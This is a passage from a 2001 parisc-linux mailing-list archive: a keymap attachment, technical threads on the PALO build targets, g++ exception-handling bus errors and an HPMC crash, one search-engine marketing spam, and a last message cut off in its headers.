MwphbHQga2V5Y29kZSA3NCA9IENvbnNvbGVfMwprZXljb2RlIDczID0gRjQKYWx0IGtleWNvZGUg
NzMgPSBDb25zb2xlXzQKa2V5Y29kZSA4MSA9IEY1CmFsdCBrZXljb2RlIDgxID0gQ29uc29sZV81
CmtleWNvZGUgODIgPSBGNgphbHQga2V5Y29kZSA4MiA9IENvbnNvbGVfNgprZXljb2RlIDgzID0g
RjcKYWx0IGtleWNvZGUgODMgPSBDb25zb2xlXzcKa2V5Y29kZSA4NCA9IEY4CmFsdCBrZXljb2Rl
IDg0ID0gQ29uc29sZV84CgprZXljb2RlIDM3ID0gRjkKYWx0IGtleWNvZGUgMzcgPSBDb25zb2xl
XzkKa2V5Y29kZSAzMyA9IEYxMAphbHQga2V5Y29kZSAzMyA9IENvbnNvbGVfMTAKa2V5Y29kZSAz
NSA9IEYxMQphbHQga2V5Y29kZSAzNSA9IENvbnNvbGVfMTEKa2V5Y29kZSAzOSA9IEYxMgphbHQg
a2V5Y29kZSAzOSA9IENvbnNvbGVfMTIKCmtleWNvZGUgMTI0ID0gTGVmdAlMZWZ0CiAgICAgICAg
YWx0IGtleWNvZGUgMTI0ID0gRGVjcl9Db25zb2xlCSMgQWx0IGxpbmtzCmtleWNvZGUgMTI3ID0g
UmlnaHQgUmlnaHQKCWFsdCBrZXljb2RlIDEyNyAgPSBJbmNyX0NvbnNvbGUgIyBBbHQgcmVjaHRz
CmtleWNvZGUgMTA5ID0gUmV0dXJuCiAgICAgICAgYWx0Z3IgICBrZXljb2RlIDEwOSA9IFJldHVy
bgogICAgICAgIHNoaWZ0ICAgY29udHJvbCBrZXljb2RlIDEwOSA9IFJldHVybgoJYWx0ICAgICBr
ZXljb2RlIDEwOSA9IE1ldGFfQ29udHJvbF9tCiAgICAgICAgY29udHJvbCBhbHQgICAgIGtleWNv
ZGUgMTA5ID0gUmV0dXJuCgprZXljb2RlIDExOSA9IFByaW9yIAkJCSMgUGFnZVVwCglhbHQga2V5
Y29kZSAxMTkgPSBTY3JvbGxfQmFja3dhcmQKa2V5Y29kZSAxMTEgPSBOZXh0ICAJCQkjIFBhZ2VE
b3duCglhbHQga2V5Y29kZSAxMTEgPSBTY3JvbGxfRm9yd2FyZAoKc3RyaW5nIEYxID0gIlwwMzNb
W0EiCnN0cmluZyBGMiA9ICJcMDMzW1tCIgpzdHJpbmcgRjMgPSAiXDAzM1tbQyIKc3RyaW5nIEY0
ID0gIlwwMzNbW0QiCnN0cmluZyBGNSA9ICJcMDMzW1tFIgpzdHJpbmcgRjYgPSAiXDAzM1sxN34i
CnN0cmluZyBGNyA9ICJcMDMzWzE4fiIKc3RyaW5nIEY4ID0gIlwwMzNbMTl+IgpzdHJpbmcgRjkg
PSAiXDAzM1syMH4iCnN0cmluZyBGMTAgPSAiXDAzM1syMX4iCnN0cmluZyBGMTEgPSAiXDAzM1sy
M34iCnN0cmluZyBGMTIgPSAiXDAzM1syNH4iCnN0cmluZyBGMTMgPSAiXDAzM1syNX4iCnN0cmlu
ZyBGMTQgPSAiXDAzM1syNn4iCnN0cmluZyBGMTUgPSAiXDAzM1syOH4iCnN0cmluZyBGMTYgPSAi
XDAzM1syOX4iCnN0cmluZyBGMTcgPSAiXDAzM1szMX4iCnN0cmluZyBGMTggPSAiXDAzM1szMn4i
CnN0cmluZyBGMTkgPSAiXDAzM1szM34iCnN0cmluZyBGMjAgPSAiXDAzM1szNH4iCnN0cmluZyBG
aW5kID0gIlwwMzNbMX4iCnN0cmluZyBJbnNlcnQgPSAiXDAzM1syfiIKc3RyaW5nIFJlbW92ZSA9
ICJcMDMzWzN+IgpzdHJpbmcgU2VsZWN0ID0gIlwwMzNbNH4iCnN0cmluZyBQcmlvciA9ICJcMDMz
WzV+IgpzdHJpbmcgTmV4dCA9ICJcMDMzWzZ+IgpzdHJpbmcgTWFjcm8gPSAiXDAzM1tNIgpzdHJp
bmcgUGF1c2UgPSAiXDAzM1tQIgpzdHJpbmcgUGFnZVVwID0gIlwwMzNbNX4iCnN0cmluZyBQYWdl
RG93biA9ICJcMDMzWzZ+IgpFT0YKCg==

--------------Boundary-00=_2POXUQX5IH8IL2UYR6ZV--




From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE:RE: problem installing on HP735
Date: Fri, 15 Jun 2001 08:37:17 +0000 (MET-01DST)
Lines: 10
Approved: news@gmane.org
Message-ID: <01K4SEZZ35SI001P7M@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416620217 20841 80.91.229.3 (22 Nov 2014 01:36:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:57 +0000 (UTC)
Cc: BOSCHINI@cilea.it
To: PARISC-LINUX@LISTS.PARISC-LINUX.ORG
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 15 00:37:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ICIL64.CILEA.IT (icil64.cilea.it [131.175.1.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D1C9482D
	for <PARISC-LINUX@LISTS.PARISC-LINUX.ORG>; Fri, 15 Jun 2001 00:37:42 -0600 (MDT)
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01K4SEZZ183K001P7M@ICIL64.CILEA.IT> for
 PARISC-LINUX@LISTS.PARISC-LINUX.ORG; Fri, 15 Jun 2001 08:37:18 MET-01DST
X-VMS-To: PARISC-LINUX@LISTS.PARISC-LINUX.ORG
X-VMS-Cc: BOSCHINI@CILEA.IT
Xref: news.gmane.org gmane.linux.ports.parisc:11351

Hello all, 

I finally got the sysetm installed. 
I'll try now to setup FDDI networking.

Thanks to all, 
Matteo




From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christine Hall" <return@trafficmagnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC-LINUX.ORG
Date: Fri, 15 Jun 2001 19:28:32 +0800
Lines: 100
Approved: news@gmane.org
Message-ID: <200106151113.f5FBDal25976@trafficmagnet.net>
Reply-To: "Christine Hall" <christine@trafficmagnet.net>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/html;
X-Trace: ger.gmane.org 1416620217 20846 80.91.229.3 (22 Nov 2014 01:36:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 15 05:15:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trafficmagnet.net (unknown [211.101.236.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 248F7482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Jun 2001 05:15:44 -0600 (MDT)
Original-Received: from screencapture1 ([211.101.236.29])
	by trafficmagnet.net (8.11.0/8.11.0) with ESMTP id f5FBDal25976
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Jun 2001 19:13:37 +0800
Original-Sender: Christine Hall <return@trafficmagnet.net>
X-Priority: 3
X-Library: Trafficmagnet 8.0
Xref: news.gmane.org gmane.linux.ports.parisc:11352

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff><img src="http://report.trafficmagnet.net/report/tr/get.php?referemail=
parisc-linux@lists.parisc-linux.org
" width=1 height=1 border=0><FONT face=Arial size=2>
<P>Hello,<BR></P>
<P>I visited 
<A href=http://parisc-linux.org>parisc-linux.org</A>
</A> and I 
noticed that you are not listed on some search engines. I am sure you can 
increase the number of people who visit 
<A href=http://parisc-linux.org>parisc-linux.org</A>
</A>. Do you know TrafficMagnet? TrafficMagnet is a unique technology that instantly submits your 
web site to over 300,000+ search engines and directories every month. This is a 
very low-cost and effective way of advertising your site. </P>
<P>To check our prices and submit 
<A href=http://parisc-linux.org>parisc-linux.org</A>
</A> to 
300,000+ search engines, go to <a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
">TrafficMagnet.net</A></P>
<P>I would love to hear from you. </P>
<P>Best Regards,<BR>Christine Hall<BR>Sales &amp; Marketing<BR><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
">www.TrafficMagnet.net</A> 
<STYLE type=text/css>.button {
	BACKGROUND-COLOR: #cc0000; COLOR: #ffffff; FONT-WEIGHT: bold
}
</STYLE>
</P>
<P>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=507>
  <TBODY>
  <TR>
    <TD width=149><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=159 src="http://image4.trafficmagnet.net/trafficmagnet/magnet.jpg" 
      width=149></A></TD>
    <TD width=59><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=159 src="http://image4.trafficmagnet.net/trafficmagnet/blitz.gif" 
      width=59></A></TD>
    <TD width=253>
      <TABLE border=0 cellPadding=0 cellSpacing=0>
        <TBODY>
        <TR>
          <TD height=194 rowSpan=3 width=21><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 height=194 
            src="http://image4.trafficmagnet.net/trafficmagnet/frameleft.jpg" 
            width=21></A></TD>
          <TD height=24 width=210><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG 
            border=0 height=24 
            src="http://image4.trafficmagnet.net/trafficmagnet/frametop.jpg" 
            width=210></A></TD>
          <TD height=194 rowSpan=3 width=22><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 height=194 
            src="http://image4.trafficmagnet.net/trafficmagnet/frameright.jpg" 
            width=22></A></TD></TR>
        <TR>
          <TD>
<A Href = http://parisc-linux.org><IMG Src = http://image9.trafficmagnet.net/image84/1/91/img220.jpg Border=0 width="210" height="141"></A>
</A>
          </TD></TR>
        <TR>
          <TD height=25 width=210><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG 
            border=0 height=25 
            src="http://image4.trafficmagnet.net/trafficmagnet/framebottom.jpg" 
            width=210></A></TD></TR></TBODY></TABLE></TD>
    <TD width=239><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=175 src="http://image4.trafficmagnet.net/trafficmagnet/people.gif" 
      width=239></A></TD></TR>
  <TR>
    <TD width=149><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=48 src="http://image4.trafficmagnet.net/trafficmagnet/brand.jpg" 
      width=149></A></TD>
    <TD width=59>&nbsp;</TD>
    <TD align=middle vAlign=bottom width=253>
	<a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 src="http://image4.trafficmagnet.net/trafficmagnet/signup.gif"></A>
    </TD>
    <TD align=right vAlign=bottom 
width=239>&nbsp;</TD></TR></TBODY></TABLE></FONT></P></BODY></HTML>




From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Fri, 15 Jun 2001 10:52:55 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <E15Awq7-0000kt-00@noam.fc.hp.com>
References: <200106132122.PAA01189@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620218 20850 80.91.229.3 (22 Nov 2014 01:36:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 15 10:57:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CB5A482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Jun 2001 10:57:58 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by palrel1.hp.com (Postfix) with ESMTP id A5002ADB
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Jun 2001 09:58:03 -0700 (PDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id KAA06588
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Jun 2001 10:52:55 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15Awq7-0000kt-00; Fri, 15 Jun 2001 10:52:55 -0600
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 13 Jun 2001 15:22:10 MDT."
             <200106132122.PAA01189@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11353

= > I propose that 'make palo' be changed to simply run 'palo -f ./palo.conf'
= > after vmlinux is built.  This means palo would have to be in the $PATH
= > and that the top-level linux source directory would contain a
= > suitable palo.conf file.  I've been using this model for cross-compiling
= > for several months and like it.  I would document how xc-ers can best
= > compile and "install" palo as well as supply a palo.conf file with
= > our typical configurations.
= > 
= > What is 'make palo' today would be changed to 'make buildrunpalo'.  The
= > longer name is more truthful and less convenient on purpose.
= 
= 
= How about "make lifimage"?
= That's the only reason I run "make palo" in the XC environment.
= Having a XC-palo in the environment is no problem.
= In the XC env, I don't expect "make install" to do the right thing (tm).

ok, I ammend my proposal so that what I just described as 'make palo' be
changed to 'make lifimage', and that what I just called 'make buildrunpalo',
which jumps into the source tree and builds palo among other things, retain
the name buildrunpalo.  Howzzat?





From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new g++/exceptions problem
Date: Fri, 15 Jun 2001 18:50:36 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <E15B4IO-000111-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620218 20851 80.91.229.3 (22 Nov 2014 01:36:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: amodra@bigpond.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 15 18:50:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B84B482D
	for <parisc-linux@parisc-linux.org>; Fri, 15 Jun 2001 18:50:38 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 967B312AC; Fri, 15 Jun 2001 20:50:37 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id SAA14610;
	Fri, 15 Jun 2001 18:50:36 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15B4IO-000111-00; Fri, 15 Jun 2001 18:50:36 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11354

I built apt against the new exception-handling
compilers (pehc:~taggart/newcompilers-20010615)
and now all the apt utilities bus error right away.  This stuff can
be found installed on gsyprf11 built from ~bame/apt.  So far I know

!!die_if_kernel: apt-get(7797): Unaligned data reference 28

IAOQ: 000000004000ccab IIR: 0cc41280
ldd says this code in ld.so.1:

libapt-pkg-libc6.2-3.so.3.2 => /usr/lib/libapt-pkg-libc6.2-3.so.3.2 (0x4002b000)
libstdc++.so.3 => /usr/lib/libstdc++.so.3 (0x40120000)
libm.so.6 => /lib/libm.so.6 (0x40201000)
libc.so.6 => /lib/libc.so.6 (0x40291000)
/lib/ld.so.1 => /lib/ld.so.1 (0x40000000)

The offending code is:

0000c7a0 <_dl_relocate_object>:
...
    cbf8:       0a cc 0a 16     add,l r12,r22,r22
    cbfc:       0c a0 10 97     ldw  0(sr0,r5),r23
...
    cc04:       0c e0 10 94     ldw  0(sr0,r7),r20
...
    cc9c:       2a 60 00 00     addil 0,r19,%r1
    cca0:       48 21 0a f0     ldw 578(sr0,r1),r1
    cca4:       08 a1 28 80     cmpclr,= r1,r5,r0
--> cca8:       0c c4 12 80     stw  r4,0(sr0,r6)
    cc14:       0a 97 0a 06     add,l r23,r20,r6

r6 is 00000000401e51ee which refers to libstdc++ offset c51ee:

 16 .data         00002f2c  000c22b0  000c22b0  000b22b0  2**4
                  CONTENTS, ALLOC, LOAD, DATA
 17 .eh_frame     0001254c  000c51dc  000c51dc  000b51dc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .gcc_except_table 0000298c  000d7728  000d7728  000c7728  2**2
                  CONTENTS, ALLOC, LOAD, DATA

so it's inside the exception-handler frame.  My wild guess is the
dynamic linker is trying to handle a new type of symbol which refers
to the new exception stuff which is for some reason not 4-byte
aligned, but this surely ain't my expertise area!

	-P




From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new g++/exceptions problem
Date: Fri, 15 Jun 2001 18:57:02 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <E15B4Oc-00011t-00@noam.fc.hp.com>
References: <E15B4IO-000111-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620218 20854 80.91.229.3 (22 Nov 2014 01:36:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:58 +0000 (UTC)
Cc: amodra@bigpond.net.au, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 15 18:57:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94E35482F
	for <parisc-linux@parisc-linux.org>; Fri, 15 Jun 2001 18:57:04 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id E201DBD3; Fri, 15 Jun 2001 20:57:03 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id SAA14965;
	Fri, 15 Jun 2001 18:57:02 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15B4Oc-00011t-00; Fri, 15 Jun 2001 18:57:02 -0600
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Fri, 15 Jun 2001 18:50:36 MDT."
             <E15B4IO-000111-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11355

= 
= I built apt against the new exception-handling

The following shows what appears to be the same problem:
$ cat hello.c
#include <stdio.h>
int main() {printf("hello world\n");}
$ g++ -o hello hello.c
$ ./hello
Bus error
$

which makes me think something in the C++ exception initialization is
the culprit -- another wild guess





From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new g++/exceptions problem
Date: Fri, 15 Jun 2001 21:16:39 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200106160116.VAA07733@hiauly1.hia.nrc.ca>
References: <E15B4IO-000111-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620219 20855 80.91.229.3 (22 Nov 2014 01:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:59 +0000 (UTC)
Cc: amodra@bigpond.net.au, parisc-linux@parisc-linux.org
To: bame@fc.hp.com (Paul Bame)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 15 19:17:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01C95482D
	for <parisc-linux@parisc-linux.org>; Fri, 15 Jun 2001 19:17:03 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id VAA07733;
	Fri, 15 Jun 2001 21:16:39 -0400 (EDT)
In-Reply-To: <E15B4IO-000111-00@noam.fc.hp.com> from "Paul Bame" at Jun 15, 2001 06:50:36 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:11356

> I built apt against the new exception-handling
> compilers (pehc:~taggart/newcompilers-20010615)
> and now all the apt utilities bus error right away.  This stuff can

There is a known issue with gcc 3.0 and glibc:
<http://gcc.gnu.org/ml/gcc-bugs/2001-06/msg00770.html>.  It involves
the change in exception handling.  Possibly, this is what is bitting.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Christie" <info@wias.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K-9000 Sim700 DUMP Configuring 53c710 scsi0 Revision 0x2 (HPMC)
Date: Sat, 16 Jun 2001 17:04:05 +1000
Organization: Wholesale Internet Access Services Australasia
Lines: 64
Approved: news@gmane.org
Message-ID: <000b01c0f632$8821fb60$c901a8c0@wias.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0008_01C0F686.599BB0C0"
X-Trace: ger.gmane.org 1416620219 20859 80.91.229.3 (22 Nov 2014 01:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 16 01:08:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (unknown [203.47.56.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEB3F482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Jun 2001 01:08:46 -0600 (MDT)
Original-Received: from DATA (scorpion.wias.net.au [203.47.56.235])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id RAA28917
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Jun 2001 17:10:37 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11357

This is a multi-part message in MIME format.

------=_NextPart_000_0008_01C0F686.599BB0C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Any light that can be shed on my problem?

High Priority Machine Check (HPMC): Code 1

The machine is a K9000 PA8000 k-250


Make a WIASA decision today !

Wholesale Internet Access Services Australasia P/L ACN 096 011 511 =
BN17400545
148 Ipswich Road - Woolloongabba - Brisbane - 4102
GPO Box 949 Brisbane 4001
Tel: 07 3217 4103
Fax: 07 3217 3541 =20
Email: info@wias.net.au=20
Mob: 0417 375 196

------=_NextPart_000_0008_01C0F686.599BB0C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Any light that can be shed on my =
problem?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>High Priority Machine Check (HPMC):</FONT><FONT =
size=3D2> Code=20
1</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>The machine is a K9000 PA8000 k-250</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Make a WIASA decision today !</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Wholesale Internet Access Services Australasia P/L =
ACN 096 011=20
511 BN17400545<BR>148 Ipswich Road - Woolloongabba - Brisbane - =
4102<BR>GPO Box=20
949 Brisbane 4001<BR>Tel: 07 3217 4103<BR>Fax: 07 3217 3541&nbsp; =
<BR>Email: <A=20
href=3D"mailto:info@wias.net.au">info@wias.net.au</A> <BR>Mob: 0417 375=20
196</FONT></DIV></BODY></HTML>

------=_NextPart_000_0008_01C0F686.599BB0C0--





From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Extra serial port on B160L
Date: Sat, 16 Jun 2001 22:41:36 +0100
Lines: 121
Approved: news@gmane.org
Message-ID: <3B2BD290.E36026D8@talk21.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620219 20861 80.91.229.3 (22 Nov 2014 01:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 16 15:41:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB5C5482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Jun 2001 15:41:37 -0600 (MDT)
Original-Received: from homer.intra.qzxyz.com ([213.104.66.104])
          by mta05-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010616214135.IYYN284.mta05-svc.ntlworld.com@homer.intra.qzxyz.com>
